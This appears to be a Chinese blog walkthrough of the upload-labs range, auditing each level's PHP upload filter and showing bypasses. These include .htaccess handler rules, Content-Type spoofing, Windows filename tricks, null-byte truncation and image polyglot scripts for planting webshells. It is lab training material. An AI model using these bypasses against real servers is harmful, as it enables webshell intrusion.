uploadlabs通关思路
目录
靶场准备
复现
pass-01
代码审计
执行逻辑
文件上传
方法一:直接修改或删除js脚本
方法二:修改文件后缀
pass-02
代码审计
文件上传
1. 思路
2. 实操
pass-03
代码审计
过程:
文件上传
pass-04
代码审计
文件上传
pass-05
代码审计
pass-06
代码审计
文件上传
pass-07
代码审计
pass-08
代码审计
pass-09
代码审计
pass-10
代码审计
文件上传
pass-11
代码审计
文件上传
pass-12
代码审计
文件上传
pass-13
代码审计
文件上传
pass-14
代码审计
pass-15
代码审计
pass-16
代码审计
文件上传
gif
png
jpg
pass-17
代码审计
文件上传
1. 准备php文件
2. 上传
pass-18
代码审计
文件上传
1. 准备图片码
2. Burp抓包
3. 在文件夹里查看
pass-19
代码审计
文件上传
1. 大小写
2. 添加后缀
pass-20
代码审计
文件上传
1. 上传
2. 抓包改包
3. 验证
靶场准备
-
安装
phpstudy
-
下载靶场:https://github.com/c0ny1/upload-labs
-
靶场解压至
phpstudy
下的www
目录 -
打开
phpstudy
,启动apache
,版本不要太高 -
运行靶场的
phpstudy.exe
文件,显示成功,就在浏览器访问靶场
复现
pass-01
代码审计
function checkFile() {var file = document.getElementsByName('upload_file')[0].value;if (file == null || file == "") {alert("请选择要上传的文件!");return false;}//定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif";//提取上传文件的类型var ext_name = file.substring(file.lastIndexOf("."));//判断上传文件类型是否允许上传if (allow_ext.indexOf(ext_name + "|") == -1) {var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;alert(errMsg);return false;}}
执行逻辑
temp_file
记录上传文件的临时名称
img_path
是为上传文件构造的新路径用
move_uploaded_file
函数把文件移动到img_path
下通过
file.substring(file.lastIndexOf("."));
获取文件的后缀和白名单的
3
种文件类型对比,判断是否属于其中的3
类。属于则可以直接上传,否则就上传失败
文件上传
方法一:直接修改或删除js脚本
-
打开
BurpSuit
,开启抓包 -
先上传一个符合要求的图片
-
选中包,右键,选择
Do intercept --> Response to this request
,之后放包 -
之后立马就可以抓到另一个包,打开就可以看到响应部分,如下图
-
之后,修改
.jpg|.png|.gif
的当中的任何一个为.php
,然后保存放包 -
然后进到靶场,上传准备好的
webshell
,此时webshell
是可以成功上传的,可以打开uploasd
文件夹看一下
-
访问一下上传的文件试一下
-
蚂剑再验证一下
都没有问题
方法二:修改文件后缀
-
把编码好的
webshell
的后缀修改为符合条件的后缀 -
打开
Burp
抓包 -
在靶场上传
-
打开抓到的数据包,传给
Repeter
模块,然后把文件的后缀恢复,点击send
就可以了
跟方法一差不多,这里就不做演示了,如果把方法一实践一遍,那是完全可以实现方法二的。
pass-02
代码审计
<?phpinclude '../config.php';include '../head.php';include '../menu.php';$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']; if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '文件类型不正确,请重新上传!';}} else {$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}}?><div id="upload_panel"><ol><li><h3>任务</h3><p>上传一个<code>webshell</code>到服务器。</p></li><li><h3>上传区</h3><form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"><p>请选择要上传的图片:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上传"/></form><div id="msg"><?php if($msg != null){echo "提示:".$msg;}?></div><div id="img"><?phpif($is_upload){echo '<img src="'.$img_path.'" width="250px" />';}?></div></li><?php if($_GET['action'] == "show_code"){include 'show_code.php';}?></ol></div><?phpinclude '../footer.php';?>
其他地方就不分析了,主要看这里
enctype="multipart/form-data"
这个设置表明
Content-Type
这个键的值是multipart/form-data
,而这个值的一大特点如下
将请求体分成多个部分(parts),每个部分可以包含不同的数据(如表单字段、文件内容等)。
每个部分都有自己的
Content-Type
和Content-Disposition
头部,允许客户端指定文件的类型和名称。然后某些服务器可能只检查请求头中的
Content-Type
,而没有深入解析multipart/form-data
的每个部分。例如,服务器可能只检查请求头中的
Content-Type: multipart/form-data
,而忽略每个部分的Content-Type
。利用这个逻辑漏洞,伪造文件类型:
在
multipart/form-data
的某个部分中伪造Content-Type
,将 PHP 文件的Content-Type
设置为image/jpeg
,从而绕过服务器的文件类型检查。
文件上传
1. 思路
直接在靶场上传一个php
文件,然后使用Burp
抓包,把数据包发到Repeter
模块,然后修改Content-Type
的类型为image/ipeg
(代码审计得到的结果,自行审计),Send
之后就可以访问文件或者使用蚁剑测试是否成功了
2. 实操
-
上传
php
文件 -
抓包并改包
-
蚁剑连接测试
连接成功。
pass-03
这一关弄了一个黑名单,黑名单里面的后缀文件不允许上传,其实跟前两关没啥区别。而且很简单。
代码审计
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array('.asp','.aspx','.php','.jsp');$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}
过程:
先判断文件是否存在,若存在,则获取其文件名称
通过
trim
函数去除其文件名称多余的空白字符或者转义字符。然后通过其自定义的
deldot
函数删除其文件末尾的点,再通过
strrchr
函数获取从文件名中最后一个.
符号开始的后面所有字符串(若上传文件为xx.php
即可以获取后缀.php
)然后通过
strtolower
函数将后缀名全部转换为小写,然后通过
str_ireplace
函数将后缀名中如果存在的::$DATA
符号删去。然后使用
trim
函数对后缀进行去空格操作。通过
in_array
函数对比其后缀是否属于$deny_ext
中的几项,若不属于,则继续上传
文件上传
这一关特别简单,方法很多,比如把.php
改为.php3
或者怎样的,只要不是黑名单中的其中一个就成了。
所以就可以这样做:
-
直接上传
php
文件 -
使用
Burp
抓包 -
发给
Repeter
模块,修改文件后缀为.php3
-
访问测试:
pass-04
代码审计
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}
这一关跟上一关并无太大区别,无非就是黑名单多了一些,没关系,我们利用.htaccess
文件就好。
.htaccess
文件可以简单理解为一个提前预制的命令,在文件里面写好要运行哪个文件,以什么形式执行, 那么上传的那个文件就会按我们提前设置好的要求执行,即使是在下级目录也可以。
文件上传
首先是开启.htaccess
功能。
找到phpstudy
下的apache
文件夹, 如
D:\Softwares\phpStudy\phpstudy_pro\Extensions\Apache2.4.39\conf
打开httpd.conf
文件,把AllowOverride
设置为ALL
然后构造.htaccess文件,编写一下内容
<FilesMatch "info.jpg">SetHandler application/x-httpd-php</FilesMatch>
然后先上传./htaccess
文件(.htaccess
文件就叫这个名,不需要添加其他)
再上传修改了文件后缀为.jpg
的php
文件,然后访问
结果如上,成功上传
pass-05
代码审计
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}
这里看着唬人,其实一个大小写就绕过了,把.php
改为.PHP
就成功上传了
没啥技术含量就不说了,下一关
pass-06
代码审计
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = $_FILES['upload_file']['name'];$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATAif (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file,$img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}
这一关有点意思,主要是它把.htaccess
过滤掉了,也就是说不能像pass-04
那样处理了。但是却有更好的处理办法,这里就要引入windows
下文件系统的一些特性了。在windows
中,文件名属于以下一种情况是会自动去掉末尾
-
文件名最后是
.
-
文件名最后有
空格
-
文件名最后有
::$DATA
那么,利用这个特性,就可以绕过过滤了。
文件上传
首先打开Burp
准备抓包
然后直接上传一个.php
文件
在Burp
里把包发给Repeter
模块,在模块里给文件添加以上说到的后缀,然后在upload
文件夹里验证是否上传成功
抓包修改如下:
再来看一看upload
文件夹
注意,这一关的代码里有去.
和去::$DATA
的函数,所以不能通过这两个绕过。
话虽这样说,但是我这样:$DATA
,也就绕过了嘛
pass-07
代码审计
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}
对比上一关的源码就很清晰了,这一关就是要在文件末尾加.
以绕过,因为连去掉.
的函数都没有了嘛
这一关的
上一关的
这就很简单了,一样的步骤,不演示了,下一关
pass-08
代码审计
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}
源码里有去掉.
的,有去掉空格
的,所以这一关就是要使用::$DATA
绕过了,对比前两关的代码就可以看出来了
6、7、8
三关就是利用windows
文件系统的特性(而且还要求是黑名单)绕过的,很简单,在pass-06
已经演示一种方法了,剩下的一样的步骤,就不演示了。但是注意了这些方法在Linux
环境下大概率饶不了。
pass-09
代码审计
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}
四个函数,deldot、strtolower、str_ireplace、trim
,把大小写、Windows
文件系统特性都过滤了,怎么办呢?
简单啊,它不是先删除.
,然后转小写,然后删::$DATA
,然后去空格
吗,那加一层码喽。
这样构造
mm.php.空格.这样会先删除 . ,文件就变成这样 mm.php.空格,注意这里还有空格的;然后什么转小写啥的就不管了,之后去空格嘛,这样文件就变成这样了 mm.php.;然后没有匹配黑名单啊,所以上传嘛,然后又是Windows文件系统特性,把最后的 . 去掉,然后就成功上传了嘛;
如下图所示:
pass-10
代码审计
$is_upload = false;$msg = null;if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}}
这个就更简单了,利用str_ireplace
函数,把匹配黑名单的文件后缀置空嘛
那还是一样嘛。加一层码
mm.phphpp
它又不调用两次str_ireplace
函数,既然要过滤,那给它嘛,它把里面的php置空还有外层呢
文件上传
先构造好文件
mm.phphpp
然后直接上传,再访问验证就好了
上传:
验证:
pass-11
这个题在实际应用中可能衍生一种竞争型的解法,但是需要多次尝试,这里给出思路。
这是一个以
php
文件上传的一个特性为基础的思路。在php
中,上传的文件会先到达temp
目录下,然后使用move
函数移动到上传文件夹下,再把临时文件删除。在移动临时文件和删除临时文件这个间隙中间有一个很短很短的窗口期,那么假设它有一个读文件的函数,比如<? phpfile_get_contents($_GET['a'],'<?php'){include()}?>它先读,如果匹配了
php
后缀,那就直接die
,如果不匹配,就include
。那么,如果先上传一个无关紧要的文件,在它读的过程中再上传我们的木马,让木马正好走到
file_get_contents
函数下,函数在读无关紧要文件时没有发现问题,就会include
,此时就会把我们的木马一起include
,这样就可以上传webshell
。但是这个窗口期很短很短,所以可以预料的是即使成功了也是
n
次尝试的。这个思路是解一个国际
CTF
比赛的思路,很值得思考借鉴。
代码审计
$is_upload = false;$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}}
虽然上面给出了一种竞争型的解法,但是实际上这一题不是竞争解法。这里它使用了白名单。
它会截取文件的后缀比对白名单,符合才会允许上传。那也许有人说了,改后缀不就好了吗,那不就可以上传了吗,是的,允许上传,但是解析不了,相当于真的把
php
变成jpg
了,毕竟这不是前端绕过啊,前端绕过我们是上传php
,然后Burp
抓包修改的,本质还是上传.php
。那怎么办呢?
其实这一题,用户可以控制上传文件最终落户的目录,我们可以抓一个包验证一下
既然这样,那我们就在这里动手脚,文件的拼接不是这样吗
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
如果我在sava_path
这里做一个截断,把后面的内容都不要了,比如这样
../upload/web.php%00%00 是 URL编码 的 \0 的十六进制,而 \0 是 C语言 的结束字符php底层也是C语言嘛
这样截断之后,move
函数在移动的时候,本来是要移动到upload
文件夹下,再重命名,但是现在没有重命名这一步了,而且也不是放在文件夹下,而是直接放在文件里,相当于move
函数直接把我们上传的文件的内容直接放到web.php
里面。这样就上传成功了。
来验证一下
文件上传
首先构造好jpg
文件,
<?php phpinfo();
然后修改后缀为jpg
。
打开Burp
准备好抓包之后上传jpg
文件
打开看一下文件内容
pass-12
代码审计
$is_upload = false;$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";}} else {$msg = "只允许上传.jpg|.png|.gif类型文件!";}}
这一关跟pass-11
一样,就是save_path
的接收方式变了,pass-11
是get
型,这里变为了post
型,我们抓一个包看一下变化就知道了
原本在1
的位置,现在变到2
的位置了,需要在3
那里改。但是在这个位置改的话就不能使用%00
,因为这里不属于地址栏,需要使用另一种方法。
文件上传
先这样构造:upload/web.php空格
然后点击HEX
,找到对应位置,把20
改为00
保存好,然后返回Pretty
,点1
,进行查看,就会发现有\0
了
然后Send
就可以上传成功了
pass-13
代码审计
function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg';break;case 13780: $fileType = 'png';break; case 7173: $fileType = 'gif';break;default: $fileType = 'unknown';} return $fileType;}$is_upload = false;$msg = null;if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}}
审计代码,发现这一关会对图片内容进行检测。也就是说,把php
后缀修改为jpg
之类的已经不能上传了。但是呢它对内容的检测又不完善,所以一种思路就是把payload
插入到图片中去。
文件上传
这在windows
环境下就需要使用以下命令了
copy 文件A全称 /b + 文件B /a 新文件名
这样就能得到一个包含php payload
的png
文件,然后还要验证,首先是查看图片是否可以打开,不过不行那就换图片再插入,一定要保证图片可以打开。确保图片可以打开之后,使用记事本打开,找一下插入的paylod
在不在
也可以使用专业的工具010Editor
查看。
这些保证没有问题之后就可以上传了,不过即使上传成功了,也不一定能执行,因为有可能图片有问题。这时候之只能换图片不断尝试了
pass-14
代码审计
function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}}$is_upload = false;$msg = null;if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}}
跟pass-13
一样,就是加了一些判断图片后缀和大小的代码,对于这一关而言,没有什么太大的作用,按照pass-13
的方法,多试几遍就能成功了
pass-15
代码审计
function isImage($filename){//需要开启php_exif模块$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break; default:return false;break;}}$is_upload = false;$msg = null;if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}}
跟pass-13、pass-14
一样的,把php
的payload
插入到图片中,然后检查没有问题之后就一直尝试,直到成功为止,思路是没有问题的,就是需要一直试,一遍不行就多来几遍。
pass-16
代码审计
$is_upload = false;$msg = null;if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true; }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}}
这一关的亮点在于使用
imagecreatefromgif
函数,把我们上传的图片打乱,然后生成新的图片,但是人肉眼看起来没有变化。这样一来,我们插入的
payload
就有可能被打乱,导致webshell
上传失败。这也是防御图片码的一种方法,但最好的方法是没有文件包含这个漏洞。
我们可以看一下是否属实嘛
原来的图片码:
上传后的图片码:
那怎么办呢?
想一下,有没有可能,这三种格式的图片会有一部分区域,这个区域在整个图片打乱前和打乱后是不变的,如果有,那我们把payload
插入到这块区域就能利用文件包含漏洞把webshell
上传成功。
文件上传
gif
先上传一张正常的图片,然后下载下来,打开以一些专业的16进制查看工具,比如010editor
,找到那个前后都没有被打乱的地方,把payload
插入那个位置,然后再上传插入好payload
的图片,之后使用文件包含验证即可
这个思路没有问题,问题是运气成分太大,如果你运气好,刚好拿到的图片问题不大,那一下就好了,如果运气不好,那你可能试了十几张图片依然没结果,但是没办法,就是要一直试。
png
png
图片插入payload
比gif
复杂一点,因为png
图片是由固定数据块组成的,如果不能区分清楚的话很有可能导致上传是报错。
对与插入payload
,由以下两种方法
一、在PLTE数据块插入
这种方法有些别扭,因为需要保证图片是索引颜色类型,也就是说如果文件使用真彩色或灰度,可能没有PLTE
块。所以这里只提出来,就不演示了
二、使用脚本
脚本编码:
<?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);}imagepng($img,'./1.png');?>
这是php
脚本,保存好之后,在浏览器运行,就能得到一插入好payload
的png
图片
然后上传,再用蚁剑连接测试一下就好
jpg
jpg
差不多,也是用脚本
脚本代码:
<?php/*The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().It is necessary that the size and quality of the initial image are the same as those of the processed image.1) Upload an arbitrary image via secured files upload script2) Save the processed image and launch:jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again.Since the most straightforward injection method is used, the following problems can occur:1) After the second processing the injected data may become partially corrupted.2) The jpg_payload.php script outputs "Something's wrong".If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.Sergey Bobrov @Black2Fan.See also:https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/*/$miniPayload = "<?=phpinfo();?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], 